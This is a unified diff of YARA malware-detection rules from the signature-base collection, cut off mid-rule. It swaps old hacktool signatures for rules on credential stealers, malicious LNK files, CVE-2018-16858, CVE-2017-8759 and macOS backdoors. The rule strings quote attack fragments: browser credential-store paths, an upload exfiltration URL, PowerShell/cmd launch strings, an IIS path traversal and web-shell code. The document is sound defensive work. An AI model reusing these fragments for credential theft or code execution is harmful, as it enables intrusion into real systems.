+		$a1 = "\\Opera Software\\Opera Stable\\Login Data" wide
+		$a2 = "\\Comodo\\Dragon\\User Data\\Default\\Login Data" wide
+		$a3 = "\\Google\\Chrome\\User Data\\Default\\Login Data" wide
+		$a4 = "\\Orbitum\\User Data\\Default\\Login Data" wide
+		$a5 = "\\Kometa\\User Data\\Default\\Login Data" wide
+		$s1 = "dlhosta.exe" fullword wide
+		$s2 = "\\passwords.log" wide
+		$s3 = "{{ <>h__TransparentIdentifier1 = {0}, Password = {1} }}" fullword wide
+		$s4 = "files/upload.php?user={0}&hwid={1}" fullword wide
 
 	condition:
-		4 of them
+		uint16(0)==0x5a4d and filesize <900KB and (1 of ($x*) or 3 of them or 2 of ($s*))
 }
-import "pe"
-
-rule SIGNATURE_BASE_Sig_238_Nbtdump
+rule SIGNATURE_BASE_LNK_Malicious_Nov1 : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file nbtdump.exe"
+		description = "Detects a suspicious LNK file"
 		author = "Florian Roth (Nextron Systems)"
-		id = "fe490f72-a07d-57c2-b9bb-d791fab10ec6"
-		date = "2014-11-23"
+		id = "1d08ac78-6ff0-5e3f-acc2-91bd63267d4c"
+		date = "2017-11-06"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2438-L2457"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cfe82aad5fc4d79cf3f551b9b12eaf9889ebafd8"
-		logic_hash = "fd17851820b5036b4cc1ebb6f927bb62c898027a17b5376e9420cbfa6a166ef2"
+		reference = "https://www.virustotal.com/en/file/ee069edc46a18698fa99b6d2204895e6a516af1a306ea986a798b178f289ecd6/analysis/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mal_link.yar#L2-L26"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a1aa29497a0e4741807e3d74d54be69061aed21524c5f901615bd21e2ef13c67"
 		score = 60
-		quality = 85
-		tags = ""
+		quality = 81
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Creation of results file - \"%s\" failed." fullword ascii
-		$s1 = "c:\\>nbtdump remote-machine" fullword ascii
-		$s7 = "Cerberus NBTDUMP" fullword ascii
-		$s11 = "<CENTER><H1>Cerberus Internet Scanner</H1>" fullword ascii
-		$s18 = "<P><H3>Account Information</H3><PRE>" fullword wide
-		$s19 = "%s's password is %s</H3>" fullword wide
-		$s20 = "%s's password is blank</H3>" fullword wide
+		$c1 = "C:\\Windows\\System32\\cmd.exe" ascii wide
+		$s1 = "cmd.exe /" ascii wide nocase
+		$s2 = { 00 25 00 53 00 79 00 73 00 74 00 65 00 6D 00 52
+              00 6F 00 6F 00 74 00 25 00 5C 00 53 00 79 00 73
+              00 74 00 65 00 6D 00 33 00 32 00 EF 01 2F 00 43
+              00 20 00 22 00 63 00 6D 00 64 00 2E 00 65 00 78
+              00 65 }
+		$s3 = "%comspec%" ascii wide nocase fullword
+		$fp1 = "Microsoft Visual" ascii wide
 
 	condition:
-		5 of them
+		( uint32(0)==0x0000004c and filesize <4KB and $c1 and 1 of ($s*)) and not 1 of ($fp*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_Sig_238_Glass2K
+rule SIGNATURE_BASE_EXP_Libre_Office_CVE_2018_16858 : CVE_2018_16858 FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file Glass2k.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7a2ad37a-6b55-5710-b07d-7c289cdbb04e"
-		date = "2014-11-23"
+		description = "RCE in Libre Office with crafted ODT file (CVE-2018-16858)"
+		author = "John Lambert @JohnLaTwC / modified by Florian Roth"
+		id = "17a0a569-27bf-57ab-937e-8943442ae604"
+		date = "2019-02-01"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2459-L2476"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b05455a1ecc6bc7fc8ddef312a670f2013704f1a"
-		logic_hash = "d9b6b904028d67804d095f85caea5796f528f866191d3b4250055a75511f2090"
-		score = 60
-		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		reference = "https://insert-script.blogspot.com/2019/02/libreoffice-cve-2018-16858-remote-code.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/exploit_cve_2018_16858.yar#L1-L17"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "95a02b70c117947ff989e3e00868c2185142df9be751a3fefe21f18fa16a1a6f"
+		logic_hash = "6dd34350f24945ba5a594acae96dc00bb200841a645443a70a59006cea1db949"
+		score = 75
+		quality = 83
+		tags = "CVE-2018-16858, FILE"
 
 	strings:
-		$s0 = "Portions Copyright (c) 1997-1999 Lee Hasiuk" fullword ascii
-		$s1 = "C:\\Program Files\\Microsoft Visual Studio\\VB98" fullword ascii
-		$s3 = "WINNT\\System32\\stdole2.tlb" fullword ascii
-		$s4 = "Glass2k.exe" fullword wide
-		$s7 = "NeoLite Executable File Compressor" fullword ascii
+		$s1 = "xlink:href=\"vnd.sun.star.script:" ascii nocase
+		$s2 = ".py$tempfilepager" ascii nocase
+		$tag = {3c 6f 66 66 69 63 65 3a 64 6f 63 }
 
 	condition:
-		all of them
+		uint32be(0)==0x3c3f786d and $tag in (0..0100) and all of ($s*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_Splitjoin_V1_3_3_Rar_Folder_3
+rule SIGNATURE_BASE_Persistence_Agent_Macos : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file splitjoin.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "4ffd7501-339c-52b7-8661-2c3ca57dfa1f"
-		date = "2014-11-23"
+		description = "Detects a Python agent that establishes persistence on macOS"
+		author = "John Lambert @JohnLaTwC"
+		id = "9c69af3c-ee85-58ac-8b78-66760addc117"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2478-L2493"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "21409117b536664a913dcd159d6f4d8758f43435"
-		logic_hash = "79eb49413cd6919e4b91e916d2612e007fd2c4da7244d9e1e3dd04d46c461d8c"
-		score = 60
-		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		reference = "https://ghostbin.com/paste/mz5nf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_osx_pyagent_persistence.yar#L1-L40"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "4288a81779a492b5b02bad6e90b2fa6212fa5f8ee87cc5ec9286ab523fc02446 cec7be2126d388707907b4f9d681121fd1e3ca9f828c029b02340ab1331a5524 e1cf136be50c4486ae8f5e408af80b90229f3027511b4beed69495a042af95be"
+		logic_hash = "2613fcb32cbdbb24df6c48fcb5d16549783e50246d2cdb8c473375644dd88254"
+		score = 75
+		quality = 83
+		tags = "FILE"
 
 	strings:
-		$s2 = "ie686@sohu.com" fullword ascii
-		$s3 = "splitjoin.exe" fullword ascii
-		$s7 = "SplitJoin" fullword ascii
+		$h1 = "#!/usr/bin/env python"
+		$s_1 = "<plist" ascii fullword
+		$s_2 = "ProgramArguments" ascii fullword
+		$s_3 = "Library" ascii fullword
+		$sinterval_1 = "StartInterval" ascii fullword
+		$sinterval_2 = "RunAtLoad" ascii fullword
+		$e_1 = /(AHAAbABpAHMAdA|cGxpc3|PABwAGwAaQBzAHQA|PHBsaXN0|wAcABsAGkAcwB0A|xwbGlzd)/ ascii
+		$e_2 = /(AAcgBvAGcAcgBhAG0AQQByAGcAdQBtAGUAbgB0AHMA|AHIAbwBnAHIAYQBtAEEAcgBnAHUAbQBlAG4AdABzA|Byb2dyYW1Bcmd1bWVudH|cm9ncmFtQXJndW1lbnRz|UAByAG8AZwByAGEAbQBBAHIAZwB1AG0AZQBuAHQAcw|UHJvZ3JhbUFyZ3VtZW50c)/ ascii
+		$e_4 = /(AGkAYgByAGEAcgB5A|aWJyYXJ5|TABpAGIAcgBhAHIAeQ|TGlicmFye|wAaQBiAHIAYQByAHkA|xpYnJhcn)/ ascii
+		$einterval_a = /(AHQAYQByAHQASQBuAHQAZQByAHYAYQBsA|dGFydEludGVydmFs|MAdABhAHIAdABJAG4AdABlAHIAdgBhAGwA|N0YXJ0SW50ZXJ2YW|U3RhcnRJbnRlcnZhb|UwB0AGEAcgB0AEkAbgB0AGUAcgB2AGEAbA)/ ascii
+		$einterval_b = /(AHUAbgBBAHQATABvAGEAZA|dW5BdExvYW|IAdQBuAEEAdABMAG8AYQBkA|J1bkF0TG9hZ|UgB1AG4AQQB0AEwAbwBhAGQA|UnVuQXRMb2Fk)/ ascii
 
 	condition:
-		all of them
+		uint32(0)==0x752f2123 and $h1 at 0 and filesize <120KB and (( all of ($s_*) and 1 of ($sinterval*)) or ( all of ($e_*) and 1 of ($einterval*)))
 }
-import "pe"
-
-rule SIGNATURE_BASE_Aspbackdoor_EDIT
+rule SIGNATURE_BASE_OSX_Backdoor_Evilosx : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file EDIT.ASP"
-		author = "Florian Roth (Nextron Systems)"
-		id = "cdcec370-97af-51c0-b81a-35a788f16ef4"
-		date = "2014-11-23"
+		description = "EvilOSX MacOS/OSX backdoor"
+		author = "John Lambert @JohnLaTwC"
+		id = "6940e355-53d2-51e3-afd0-13303a311e9a"
+		date = "2018-02-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2495-L2514"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "12196cf62931cde7b6cb979c07bb5cc6a7535cbb"
-		logic_hash = "0f97c831eb9f257a2a6c9a677dde2ce17d529584fb7085bc94edd83d886e469f"
-		score = 60
+		reference = "https://github.com/Marten4n6/EvilOSX, https://twitter.com/JohnLaTwC/status/966139336436498432"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_osx_evilosx.yar#L1-L34"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "89e5b8208daf85f549d9b7df8e2a062e47f15a5b08462a4224f73c0a6223972a"
+		logic_hash = "393abf7cf74f8d079049cf8f0bdb3a79bf16185c80c43b823e19b67a9031aef6"
+		score = 75
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s1 = "<meta HTTP-EQUIV=\"Content-Type\" CONTENT=\"text/html;charset=gb_2312-80\">" fullword ascii
-		$s2 = "Set thisfile = fs.GetFile(whichfile)" fullword ascii
-		$s3 = "response.write \"<a href='index.asp'>" fullword ascii
-		$s5 = "if Request.Cookies(\"password\")=\"juchen\" then " fullword ascii
-		$s6 = "Set thisfile = fs.OpenTextFile(whichfile, 1, False)" fullword ascii
-		$s7 = "color: rgb(255,0,0); text-decoration: underline }" fullword ascii
-		$s13 = "if Request(\"creat\")<>\"yes\" then" fullword ascii
+		$h1 = "#!/usr/bin/env"
+		$s0 = "import base64" fullword ascii
+		$s1 = "b64decode" fullword ascii
+		$x0 = "EvilOSX" fullword ascii
+		$x1 = "get_launch_agent_directory" fullword ascii
+		$enc_x0 = /(AHYAaQBsAE8AUwBYA|dmlsT1NY|RQB2AGkAbABPAFMAWA|RXZpbE9TW|UAdgBpAGwATwBTAFgA|V2aWxPU1)/ ascii
+		$enc_x1 = /(AGUAdABfAGwAYQB1AG4AYwBoAF8AYQBnAGUAbgB0AF8AZABpAHIAZQBjAHQAbwByAHkA|cAZQB0AF8AbABhAHUAbgBjAGgAXwBhAGcAZQBuAHQAXwBkAGkAcgBlAGMAdABvAHIAeQ|dldF9sYXVuY2hfYWdlbnRfZGlyZWN0b3J5|Z2V0X2xhdW5jaF9hZ2VudF9kaXJlY3Rvcn|ZwBlAHQAXwBsAGEAdQBuAGMAaABfAGEAZwBlAG4AdABfAGQAaQByAGUAYwB0AG8AcgB5A|ZXRfbGF1bmNoX2FnZW50X2RpcmVjdG9ye)/ ascii
 
 	condition:
-		5 of them
+		uint32(0)==0x752f2123 and $h1 at 0 and filesize <30KB and all of ($s*) and 1 of ($x*) or 1 of ($enc_x*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_Aspbackdoor_Entice
+rule SIGNATURE_BASE_CVE_2017_8759_Mal_HTA : CVE_2017_8759 FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file entice.asp"
+		description = "Detects malicious files related to CVE-2017-8759 - file cmd.hta"
 		author = "Florian Roth (Nextron Systems)"
-		id = "68c61920-9c3c-5bfe-976c-346b258bb406"
-		date = "2014-11-23"
+		id = "e53b5149-fc94-5da5-8e35-7f09a9cd79fd"
+		date = "2017-09-14"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2516-L2533"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e273a1b9ef4a00ae4a5d435c3c9c99ee887cb183"
-		logic_hash = "c11313351565d26d9b16a2d5c3c4589676593fe633c441a1c1a33b3c134a2d56"
-		score = 60
+		reference = "https://github.com/Voulnet/CVE-2017-8759-Exploit-sample"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/exploit_cve_2017_8759.yar#L11-L24"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f98578104e411fcf75a46f8a0bc3e561c94d0ca4ad7c1aae2595d03a29efd74e"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "CVE-2017-8759, FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "fee2ab286eb542c08fdfef29fabf7796a0a91083a0ee29ebae219168528294b5"
 
 	strings:
-		$s0 = "<Form Name=\"FormPst\" Method=\"Post\" Action=\"entice.asp\">" fullword ascii
-		$s2 = "if left(trim(request(\"sqllanguage\")),6)=\"select\" then" fullword ascii
-		$s4 = "conndb.Execute(sqllanguage)" fullword ascii
-		$s5 = "<!--#include file=sqlconn.asp-->" fullword ascii
-		$s6 = "rstsql=\"select * from \"&rstable(\"table_name\")" fullword ascii
+		$x1 = "Error = Process.Create(\"powershell -nop cmd.exe /c" fullword ascii
 
 	condition:
-		all of them
+		( uint16(0)==0x683c and filesize <1KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Fpipe2_0
+rule SIGNATURE_BASE_CVE_2017_8759_Mal_Doc : CVE_2017_8759 FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file FPipe2.0.exe"
+		description = "Detects malicious files related to CVE-2017-8759 - file Doc1.doc"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7e104cf6-69d2-590e-8999-4f0d448719f2"
-		date = "2014-11-23"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2535-L2553"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "891609db7a6787575641154e7aab7757e74d837b"
-		logic_hash = "b28566315ddda7765dfee722f5ad02c1206c6916363d86407fdc61b53148f511"
-		score = 60
+		id = "48587c13-7661-5987-8331-732115f7823b"
+		date = "2017-09-14"
+		modified = "2023-11-21"
+		reference = "https://github.com/Voulnet/CVE-2017-8759-Exploit-sample"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/exploit_cve_2017_8759.yar#L26-L45"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0c81feebef463fee41661ca951a39ee789db5d36acc8262ddb391609d8680108"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "CVE-2017-8759, FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "6314c5696af4c4b24c3a92b0e92a064aaf04fd56673e830f4d339b8805cc9635"
 
 	strings:
-		$s0 = "made to port 80 of the remote machine at 192.168.1.101 with the" fullword ascii
-		$s1 = "Unable to resolve hostname \"%s\"" fullword ascii
-		$s2 = " -s    - outbound connection source port number" fullword ascii
-		$s3 = "source port for that outbound connection being set to 53 also." fullword ascii
-		$s4 = "http://www.foundstone.com" fullword ascii
-		$s19 = "FPipe" fullword ascii
+		$s1 = "soap:wsdl=http://" ascii wide
+		$s2 = "soap:wsdl=https://" ascii wide
+		$s3 = "soap:wsdl=http%3" ascii wide
+		$s4 = "soap:wsdl=https%3" ascii wide
+		$c1 = "Project.ThisDocument.AutoOpen" fullword wide
 
 	condition:
-		all of them
+		uint16(0)==0xcfd0 and filesize <500KB and (1 of ($s*) and $c1)
 }
-import "pe"
-
-rule SIGNATURE_BASE_Instgina
+rule SIGNATURE_BASE_CVE_2017_8759_SOAP_Via_JS : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file InstGina.exe"
+		description = "Detects SOAP WDSL Download via JavaScript"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ccbda689-e61a-501d-a8ed-62e3c1c20289"
-		date = "2014-11-23"
+		id = "9e96cea3-4282-5f25-ad37-51bd69258790"
+		date = "2017-09-14"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2555-L2570"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5317fbc39508708534246ef4241e78da41a4f31c"
-		logic_hash = "a55a13ced122b9901f0505d585e7a7c984d4231b3507282c1b15ff400ce51265"
+		reference = "https://twitter.com/buffaloverflow/status/907728364278087680"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/exploit_cve_2017_8759.yar#L47-L61"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3c170479283fe859b9ecfba4834396aaf78b375472250a4b188bc913f69c97fd"
 		score = 60
-		quality = 85
-		tags = ""
+		quality = 81
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "To Open Registry" fullword ascii
-		$s4 = "I love Candy very much!!" ascii
-		$s5 = "GinaDLL" fullword ascii
+		$s1 = "GetObject(\"soap:wsdl=https://" ascii wide nocase
+		$s2 = "GetObject(\"soap:wsdl=http://" ascii wide nocase
 
 	condition:
-		all of them
+		( filesize <3KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Arttray_Zip_Folder_Arttray
+rule SIGNATURE_BASE_CVE_2017_8759_SOAP_Excel : CVE_2017_8759 FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file ArtTray.exe"
+		description = "Detects malicious files related to CVE-2017-8759"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d29909a4-8663-54c7-8f0e-68b15def869f"
-		date = "2014-11-23"
+		id = "940ec910-49a4-5271-97e4-8536db271b80"
+		date = "2017-09-15"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2572-L2588"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ee1edc8c4458c71573b5f555d32043cbc600a120"
-		logic_hash = "225be71bfd047331399162941edf06c72d2fd1afa04c78cbc51099665f50883b"
+		reference = "https://twitter.com/buffaloverflow/status/908455053345869825"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/exploit_cve_2017_8759.yar#L63-L76"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "adea595b251796e93cdc54cc59198d88a68e28d42899c90721f63f6813df24fe"
 		score = 60
-		quality = 85
-		tags = ""
+		quality = 83
+		tags = "CVE-2017-8759, FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "http://www.brigsoft.com" fullword wide
-		$s2 = "ArtTrayHookDll.dll" fullword ascii
-		$s3 = "ArtTray Version 1.0 " fullword wide
-		$s16 = "TRM_HOOKCALLBACK" fullword ascii
+		$s1 = "|'soap:wsdl=" ascii wide nocase
 
 	condition:
-		all of them
+		( filesize <300KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Sig_238_Findoor
+rule SIGNATURE_BASE_CVE_2017_8759_SOAP_Txt : CVE_2017_8759 FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file findoor.exe"
+		description = "Detects malicious file in releation with CVE-2017-8759 - file exploit.txt"
 		author = "Florian Roth (Nextron Systems)"
-		id = "61215a76-8c29-505d-bfef-a5f13fec476c"
-		date = "2014-11-23"
+		id = "36474420-4fa9-5264-a46b-bb2434624710"
+		date = "2017-09-14"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2590-L2607"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cdb1ececceade0ecdd4479ecf55b0cc1cf11cdce"
-		logic_hash = "223f324ab6b61775d500dc248b9db8363ce915ec279a893a6f0ec92b273a27c0"
-		score = 60
+		reference = "https://github.com/Voulnet/CVE-2017-8759-Exploit-sample"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/exploit_cve_2017_8759.yar#L78-L92"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "184179006ed2ac2ad76e09c53196805fcb1b7380dab1d5740b4469a89d6b0b32"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "CVE-2017-8759, FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "840ad14e29144be06722aff4cc04b377364eeed0a82b49cc30712823838e2444"
 
 	strings:
-		$s0 = "(non-Win32 .EXE or error in .EXE image)." fullword ascii
-		$s8 = "PASS hacker@hacker.com" fullword ascii
-		$s9 = "/scripts/..%c1%1c../winnt/system32/cmd.exe" fullword ascii
-		$s10 = "MAIL FROM:hacker@hacker.com" fullword ascii
-		$s11 = "http://isno.yeah.net" fullword ascii
+		$s1 = /<soap:address location="http[s]?:\/\/[^"]{8,140}.hta"/ ascii wide
+		$s2 = /<soap:address location="http[s]?:\/\/[^"]{8,140}mshta.exe"/ ascii wide
 
 	condition:
-		4 of them
+		( filesize <200KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Aspbackdoor_Ipclear
+rule SIGNATURE_BASE_CVE_2017_8759_WSDL_In_RTF : CVE_2017_8759 FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file ipclear.vbs"
-		author = "Florian Roth (Nextron Systems)"
-		id = "71ebecea-721f-5c5d-9997-6a57f070d91c"
-		date = "2014-11-23"
+		description = "Detects malicious RTF file related CVE-2017-8759"
+		author = "Security Doggo @xdxdxdxdoa"
+		id = "daaa5489-af96-5a69-b2dd-81406c0a1edc"
+		date = "2017-09-15"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2609-L2626"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "9f8fdfde4b729516330eaeb9141fb2a7ff7d0098"
-		logic_hash = "49fbe844a99aa8cae25db90e1d8cdeee13c81293bba7b3201afc4748cb0a6a7c"
-		score = 60
+		reference = "https://twitter.com/xdxdxdxdoa/status/908665278199996416"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/exploit_cve_2017_8759.yar#L94-L110"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "47adc7adfc55239792aef818648546adb1627e74690de0d811100cc49aab8c2f"
+		score = 75
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "CVE-2017-8759, FILE"
 
 	strings:
-		$s0 = "Set ServiceObj = GetObject(\"WinNT://\" & objNet.ComputerName & \"/w3svc\")" fullword ascii
-		$s1 = "wscript.Echo \"USAGE:KillLog.vbs LogFileName YourIP.\"" fullword ascii
-		$s2 = "Set txtStreamOut = fso.OpenTextFile(destfile, ForWriting, True)" fullword ascii
-		$s3 = "Set objNet = WScript.CreateObject( \"WScript.Network\" )" fullword ascii
-		$s4 = "Set fso = CreateObject(\"Scripting.FileSystemObject\")" fullword ascii
+		$doc = "d0cf11e0a1b11ae1"
+		$obj = "\\objupdate"
+		$wsdl = "7700730064006c003d00" nocase
+		$http1 = "68007400740070003a002f002f00" nocase
+		$http2 = "680074007400700073003a002f002f00" nocase
+		$http3 = "6600740070003a002f002f00" nocase
 
 	condition:
-		all of them
+		uint32be(0)==0x7B5C7274 and $obj and $doc and $wsdl and 1 of ($http*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_Wineggdropshellfinal_Zip_Folder_Injectt
+rule SIGNATURE_BASE_Ps1_Toolkit_Powerup : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file InjectT.exe"
+		description = "Auto-generated rule - file PowerUp.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "16f04551-050f-5a07-a35b-a3a7dbba6803"
-		date = "2014-11-23"
+		id = "ff3eeec3-602d-5824-8a50-aed2081f49bc"
+		date = "2016-09-04"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2628-L2645"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "516e80e4a25660954de8c12313e2d7642bdb79dd"
-		logic_hash = "01840f4df12fbf6f5f27a3050c841002678605cd373e9ea9b182b2026caa29f9"
-		score = 60
+		reference = "https://github.com/vysec/ps1-toolkit"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powershell_toolkit.yar#L10-L31"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "64562c623de89df59d15db48990c25886c67b79ac9341cf8f21ef372057ccd85"
+		score = 80
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "fc65ec85dbcd49001e6037de9134086dd5559ac41ac4d1adf7cab319546758ad"
 
 	strings:
-		$s0 = "Packed by exe32pack" ascii
